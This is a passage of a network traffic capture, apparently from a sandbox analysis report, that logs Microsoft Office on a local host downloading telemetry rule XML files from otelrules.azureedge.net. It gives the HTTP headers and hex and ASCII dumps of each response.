2024-10-26 11:46:16 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:16 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114616Z-16849878b785dznd7xpawq9gcn00000003e0000000002w4q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:16 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.9	49854	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:16 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:16 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 27f7fbdb-301e-0096-2237-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114616Z-16849878b78zqkvcwgr6h55x9n00000001ag00000000d1e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:16 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.9	49855	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:16 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114616Z-16849878b78wv88bk51myq5vxc0000000280000000007v0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.9	49856	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:16 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114617Z-16849878b786fl7gm2qg4r5y70000000025g00000000c66x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.9	49857	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:17 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:17 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: c53c8a19-f01e-0096-07f7-2110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114617Z-16849878b78qfbkc5yywmsbg0c00000001rg000000001yhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:17 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.9	49858	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:17 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:17 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 622601ef-f01e-003c-2758-278cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114617Z-r197bdfb6b48pl4k4a912hk2g4000000012g000000008cqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:17 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.9	49859	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:17 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:17 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114617Z-16849878b78fssff8btnns3b14000000024000000000gbme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:17 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.9	49860	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:17 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:17 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: a26538b7-d01e-0082-1ccb-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114617Z-r197bdfb6b47gqdjqh2kwsuz8c00000002ag0000000077sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:17 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.9	49861	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:17 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:17 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:17 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: bb32e714-c01e-008d-58b0-262eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114617Z-16849878b78fmrkt2ukpvh9wh40000000afg00000000f6ps x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:17 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.9	49862	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:18 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:18 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:18 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: dd440b1a-a01e-003d-1afb-2598d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114618Z-17c5cb586f6sqz6fff89etrx0800000001k00000000077ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:18 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.9	49863	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:18 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:18 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:18 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 2d748408-801e-0048-3eee-25f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114618Z-16849878b78x6gn56mgecg60qc00000003tg0000000070m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:18 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.9	49864	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:18 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:18 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:18 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: bc808b91-e01e-00aa-0f74-27ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114618Z-r197bdfb6b4qbfppwgs4nqza8000000000g0000000003zws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
